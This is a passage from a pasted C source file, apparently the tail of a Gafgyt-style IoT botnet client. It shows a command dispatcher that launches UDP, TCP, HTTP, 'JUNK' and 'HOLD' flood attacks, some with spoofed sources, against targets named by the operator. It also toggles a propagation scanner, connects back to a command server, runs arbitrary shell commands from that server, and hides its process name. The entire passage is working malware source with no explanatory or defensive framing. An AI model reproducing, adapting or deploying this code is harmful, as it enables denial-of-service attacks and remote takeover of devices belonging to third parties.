  1458.  
  1459. fd_set myset;
  1460. struct timeval tv;
  1461. socklen_t lon;
  1462. int valopt, res;
  1463.  
  1464. unsigned char *watwat = malloc(1024);
  1465. memset(watwat, 0, 1024);
  1466.  
  1467. int end = time(NULL) + end_time;
  1468. while(end > time(NULL))
  1469. {
  1470. for(i = 0; i < max; i++)
  1471. {
  1472. switch(fds[i].state)
  1473. {
  1474. case 0:
  1475. {
  1476. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1477. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1478. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1479. else fds[i].state = 1;
  1480. }
  1481. break;
  1482.  
  1483. case 1:
  1484. {
  1485. FD_ZERO(&myset);
  1486. FD_SET(fds[i].fd, &myset);
  1487. tv.tv_sec = 0;
  1488. tv.tv_usec = 10000;
  1489. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1490. if(res == 1)
  1491. {
  1492. lon = sizeof(int);
  1493. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1494. if(valopt)
  1495. {
  1496. close(fds[i].fd);
  1497. fds[i].state = 0;
  1498. } else {
  1499. fds[i].state = 2;
  1500. }
  1501. } else if(res == -1)
  1502. {
  1503. close(fds[i].fd);
  1504. fds[i].state = 0;
  1505. }
  1506. }
  1507. break;
  1508.  
  1509. case 2:
  1510. {
  1511. FD_ZERO(&myset);
  1512. FD_SET(fds[i].fd, &myset);
  1513. tv.tv_sec = 0;
  1514. tv.tv_usec = 10000;
  1515. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1516. if(res != 0)
  1517. {
  1518. close(fds[i].fd);
  1519. fds[i].state = 0;
  1520. }
  1521. }
  1522. break;
  1523. }
  1524. }
  1525. }
  1526. }
  1527.  
  1528. void processCmd(int argc, unsigned char *argv[])
  1529. {
  1530. int x;
  1531. if(!strcmp(argv[0], "PING"))
  1532. {
  1533. sockprintf(mainCommSock, "PONG!");
  1534. return;
  1535. }
  1536.  
  1537. if(!strcmp(argv[0], "GETLOCALIP"))
  1538. {
  1539. sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1540. return;
  1541. }
  1542.  
  1543. if(!strcmp(argv[0], "SCANNER"))
  1544. {
  1545. if(argc != 2)
  1546. {
  1547. sockprintf(mainCommSock, "SCANNER ON | OFF");
  1548. return;
  1549. }
  1550.  
  1551. if(!strcmp(argv[1], "OFF"))
  1552. {
  1553. if(scanPid == 0) return;
  1554. kill(scanPid, 9);
  1555. sockprintf(mainCommSock, "REMOVING PROBE");
  1556. scanPid = 0;
  1557. }
  1558.  
  1559. if(!strcmp(argv[1], "ON"))
  1560. {
  1561. if(scanPid != 0) return;
  1562. uint32_t parent;
  1563. parent = fork();
  1564.  
  1565. if (parent > 0) { scanPid = parent; return;}
  1566. else if(parent == -1) return;
  1567. sockprintf(mainCommSock, "PROBING");
  1568. StartTheLelz();
  1569. _exit(0);
  1570. }
  1571. }
  1572.  
  1573. if(!strcmp(argv[0], "HOLD"))
  1574. {
  1575. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1576. {
  1577. //sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
  1578. return;
  1579. }
  1580.  
  1581. unsigned char *ip = argv[1];
  1582. int port = atoi(argv[2]);
  1583. int time = atoi(argv[3]);
  1584.  
  1585. if(strstr(ip, ",") != NULL)
  1586. {
  1587. unsigned char *hi = strtok(ip, ",");
  1588. while(hi != NULL)
  1589. {
  1590. if(!listFork())
  1591. {
  1592. sendHOLD(hi, port, time);
  1593. _exit(0);
  1594. }
  1595. hi = strtok(NULL, ",");
  1596. }
  1597. } else {
  1598. if (listFork()) { return; }
  1599.  
  1600. sendHOLD(ip, port, time);
  1601. _exit(0);
  1602. }
  1603. }
  1604.  
  1605. if(!strcmp(argv[0], "JUNK"))
  1606. {
  1607. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1608. {
  1609. //sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
  1610. return;
  1611. }
  1612.  
  1613. unsigned char *ip = argv[1];
  1614. int port = atoi(argv[2]);
  1615. int time = atoi(argv[3]);
  1616.  
  1617. if(strstr(ip, ",") != NULL)
  1618. {
  1619. unsigned char *hi = strtok(ip, ",");
  1620. while(hi != NULL)
  1621. {
  1622. if(!listFork())
  1623. {
  1624. sendJUNK(hi, port, time);
  1625. close(mainCommSock);
  1626. _exit(0);
  1627. }
  1628. hi = strtok(NULL, ",");
  1629. }
  1630. } else {
  1631. if (listFork()) { return; }
  1632.  
  1633. sendJUNK(ip, port, time);
  1634. _exit(0);
  1635. }
  1636. }
  1637.  
  1638. if(!strcmp(argv[0], "UDP"))
  1639. {
  1640. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1641. {
  1642. //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  1643. return;
  1644. }
  1645.  
  1646. unsigned char *ip = argv[1];
  1647. int port = atoi(argv[2]);
  1648. int time = atoi(argv[3]);
  1649. int spoofed = atoi(argv[4]);
  1650. int packetsize = atoi(argv[5]);
  1651. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1652.  
  1653. if(strstr(ip, ",") != NULL)
  1654. {
  1655. unsigned char *hi = strtok(ip, ",");
  1656. while(hi != NULL)
  1657. {
  1658. if(!listFork())
  1659. {
  1660. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1661. _exit(0);
  1662. }
  1663. hi = strtok(NULL, ",");
  1664. }
  1665. } else {
  1666. if (listFork()) { return; }
  1667.  
  1668. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1669. _exit(0);
  1670. }
  1671. }
  1672.  
  1673. if(!strcmp(argv[0], "STD"))
  1674. {
  1675. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1676. {
  1677.  
  1678. return;
  1679. }
  1680.  
  1681. unsigned char *ip = argv[1];
  1682. int port = atoi(argv[2]);
  1683. int time = atoi(argv[3]);
  1684.  
  1685. if(strstr(ip, ",") != NULL)
  1686. {
  1687. unsigned char *hi = strtok(ip, ",");
  1688. while(hi != NULL)
  1689. {
  1690. if(!listFork())
  1691. {
  1692. sendSTD(hi, port, time);
  1693. _exit(0);
  1694. }
  1695. hi = strtok(NULL, ",");
  1696. }
  1697. } else {
  1698. if (listFork()) { return; }
  1699.  
  1700. sendSTD(ip, port, time);
  1701. _exit(0);
  1702. }
  1703.  
  1704. }
  1705.  
  1706. if(!strcmp(argv[0], "HTTP")) //HTTP FLOOD METHOD BIG BOI!
  1707. {
  1708. if(argc < 3 || atoi(argv[2]) < 1)
  1709. {
  1710. return;
  1711. }
  1712.  
  1713. unsigned char *ip = argv[1];
  1714. int time = atoi(argv[2]);
  1715.  
  1716. if(strstr(ip, ",") != NULL)
  1717. {
  1718. sockprintf(mainCommSock, "HTTP Flooding %s for %d seconds.", ip, time);
  1719. unsigned char *hi = strtok(ip, ",");
  1720. while(hi != NULL)
  1721. {
  1722. if(!listFork())
  1723. {
  1724. sendHTTP(ip, time);
  1725. close(mainCommSock);
  1726. _exit(0);
  1727. }
  1728. hi = strtok(NULL, ",");
  1729. }
  1730. } else {
  1731. if (listFork()) { return; }
  1732.  
  1733. sockprintf(mainCommSock, "HTTP Flooding %s for %d seconds.", ip, time);
  1734. sendHTTP(ip, time);
  1735. close(mainCommSock);
  1736.  
  1737. _exit(0);
  1738. }
  1739. }
  1740.  
  1741. if(!strcmp(argv[0], "TCP"))
  1742. {
  1743. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1744. {
  1745. //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1746. return;
  1747. }
  1748.  
  1749. unsigned char *ip = argv[1];
  1750. int port = atoi(argv[2]);
  1751. int time = atoi(argv[3]);
  1752. int spoofed = atoi(argv[4]);
  1753. unsigned char *flags = argv[5];
  1754.  
  1755. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1756. int psize = argc > 6 ? atoi(argv[6]) : 0;
  1757.  
  1758. if(strstr(ip, ",") != NULL)
  1759. {
  1760. unsigned char *hi = strtok(ip, ",");
  1761. while(hi != NULL)
  1762. {
  1763. if(!listFork())
  1764. {
  1765. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1766. _exit(0);
  1767. }
  1768. hi = strtok(NULL, ",");
  1769. }
  1770. } else {
  1771. if (listFork()) { return; }
  1772.  
  1773. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1774. _exit(0);
  1775. }
  1776. }
  1777.  
  1778. if(!strcmp(argv[0], "KILLATTK"))
  1779. {
  1780. int killed = 0;
  1781. unsigned long i;
  1782. for (i = 0; i < numpids; i++) {
  1783. if (pids[i] != 0 && pids[i] != getpid()) {
  1784. kill(pids[i], 9);
  1785. killed++;
  1786. }
  1787. }
  1788.  
  1789. if(killed > 0)
  1790. {
  1791. //sockprintf(mainCommSock, "Killed %d.", killed);
  1792. } else {
  1793. //sockprintf(mainCommSock, "None Killed.");
  1794. }
  1795. }
  1796.  
  1797. if(!strcmp(argv[0], "LOLNOGTFO"))
  1798. {
  1799. exit(0);
  1800. }
  1801. }
  1802.  
  1803. int initConnection()
  1804. {
  1805. unsigned char server[4096];
  1806. memset(server, 0, 4096);
  1807. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1808. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1809. else currentServer++;
  1810.  
  1811. strcpy(server, commServer[currentServer]);
  1812. int port = 443;
  1813. if(strchr(server, ':') != NULL)
  1814. {
  1815. port = atoi(strchr(server, ':') + 1);
  1816. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1817. }
  1818.  
  1819. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1820.  
  1821. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1822.  
  1823. return 0;
  1824. }
  1825.  
  1826. int getOurIP()
  1827. {
  1828. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1829. if(sock == -1) return 0;
  1830.  
  1831. struct sockaddr_in serv;
  1832. memset(&serv, 0, sizeof(serv));
  1833. serv.sin_family = AF_INET;
  1834. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1835. serv.sin_port = htons(53);
  1836.  
  1837. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1838. if(err == -1) return 0;
  1839.  
  1840. struct sockaddr_in name;
  1841. socklen_t namelen = sizeof(name);
  1842. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1843. if(err == -1) return 0;
  1844.  
  1845. ourIP.s_addr = name.sin_addr.s_addr;
  1846.  
  1847. int cmdline = open("/proc/net/route", O_RDONLY);
  1848. char linebuf[4096];
  1849. while(fdgets(linebuf, 4096, cmdline) != NULL)
  1850. {
  1851. if(strstr(linebuf, "\t00000000\t") != NULL)
  1852. {
  1853. unsigned char *pos = linebuf;
  1854. while(*pos != '\t') pos++;
  1855. *pos = 0;
  1856. break;
  1857. }
  1858. memset(linebuf, 0, 4096);
  1859. }
  1860. close(cmdline);
  1861.  
  1862. if(*linebuf)
  1863. {
  1864. int i;
  1865. struct ifreq ifr;
  1866. strcpy(ifr.ifr_name, linebuf);
  1867. ioctl(sock, SIOCGIFHWADDR, &ifr);
  1868. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1869. }
  1870.  
  1871. close(sock);
  1872. }
  1873.  
  1874. char *getBuild()
  1875. {
  1876. #ifdef MIPS_BUILD
  1877. return "MIPS";
  1878. #elif MIPSEL_BUILD
  1879. return "MIPSEL";
  1880. #elif X86_BUILD
  1881. return "X86";
  1882. #elif ARM_BUILD
  1883. return "ARM";
  1884. #elif PPC_BUILD
  1885. return "PPC";
  1886. #else
  1887. return "VOID";
  1888. #endif
  1889. }
  1890.  
  1891. int main(int argc, unsigned char *argv[])
  1892. {
  1893. char *mynameis = "";
  1894. if(SERVER_LIST_SIZE <= 0) return 0;
  1895. printf("BUILD %s\n", getBuild());
  1896. strncpy(argv[0],"",strlen(argv[0]));
  1897. argv[0] = "";
  1898. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1899. srand(time(NULL) ^ getpid());
  1900. init_rand(time(NULL) ^ getpid());
  1901. pid_t pid1;
  1902. pid_t pid2;
  1903. int status;
  1904.  
  1905. getOurIP();
  1906.  
  1907. if (pid1 = fork()) {
  1908. waitpid(pid1, &status, 0);
  1909. exit(0);
  1910. } else if (!pid1) {
  1911. if (pid2 = fork()) {
  1912. exit(0);
  1913. } else if (!pid2) {
  1914. } else {
  1915. //zprintf("fork failed\n");
  1916. }
  1917. } else {
  1918. //zprintf("fork failed\n");
  1919. }
  1920.  
  1921. setsid();
  1922. chdir("/");
  1923.  
  1924. signal(SIGPIPE, SIG_IGN);
  1925.  
  1926. while(1)
  1927. {
  1928. if(initConnection()) { sleep(5); continue; }
  1929.  
  1930. sockprintf(mainCommSock, "BUILD %s", getBuild());
  1931.  
  1932. char commBuf[4096];
  1933. int got = 0;
  1934. int i = 0;
  1935. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1936. {
  1937. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1938. unsigned int *newpids, on;
  1939. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1940. pids[on - 1] = 0;
  1941. numpids--;
  1942. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1943. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1944. free(pids);
  1945. pids = newpids;
  1946. }
  1947.  
  1948. commBuf[got] = 0x00;
  1949.  
  1950. trim(commBuf);
  1951.  
  1952. if(strstr(commBuf, "PING") == commBuf)
  1953. {
  1954. sockprintf(mainCommSock, "PONG");
  1955. continue;
  1956. }
  1957.  
  1958. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1959.  
  1960. unsigned char *message = commBuf;
  1961.  
  1962. if(*message == '!')
  1963. {
  1964. unsigned char *nickMask = message + 1;
  1965. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1966. if(*nickMask == 0x00) continue;
  1967. *(nickMask) = 0x00;
  1968. nickMask = message + 1;
  1969.  
  1970. message = message + strlen(nickMask) + 2;
  1971. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1972.  
  1973. unsigned char *command = message;
  1974. while(*message != ' ' && *message != 0x00) message++;
  1975. *message = 0x00;
  1976. message++;
  1977.  
  1978. unsigned char *tmpcommand = command;
  1979. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1980.  
  1981. if(strcmp(command, "SH") == 0)
  1982. {
  1983. unsigned char buf[1024];
  1984. int command;
  1985. if (listFork()) continue;
  1986. memset(buf, 0, 1024);
  1987. szprintf(buf, "%s 2>&1", message);
  1988. command = fdpopen(buf, "r");
  1989. while(fdgets(buf, 1024, command) != NULL)
  1990. {
  1991. trim(buf);
  1992. // sockprintf(mainCommSock, "%s", buf);
  1993. memset(buf, 0, 1024);
  1994. sleep(1);
  1995. }
  1996. fdpclose(command);
  1997. exit(0);
  1998. }
  1999.  
  2000. unsigned char *params[10];
  2001. int paramsCount = 1;
  2002. unsigned char *pch = strtok(message, " ");
  2003. params[0] = command;
  2004.  
  2005. while(pch)
  2006. {
  2007. if(*pch != '\n')
  2008. {
  2009. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2010. memset(params[paramsCount], 0, strlen(pch) + 1);
  2011. strcpy(params[paramsCount], pch);
  2012. paramsCount++;
  2013. }
  2014. pch = strtok(NULL, " ");
  2015. }
  2016.  
  2017. processCmd(paramsCount, params);
  2018.  
  2019. if(paramsCount > 1)
  2020. {
  2021. int q = 1;
  2022. for(q = 1; q < paramsCount; q++)
  2023. {
  2024. free(params[q]);
  2025. }
  2026. }
  2027. }
  2028. }
  2029. //printf("Link closed by server.\n");
  2030. }
  2031.  
  2032. return 0;
  2033. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement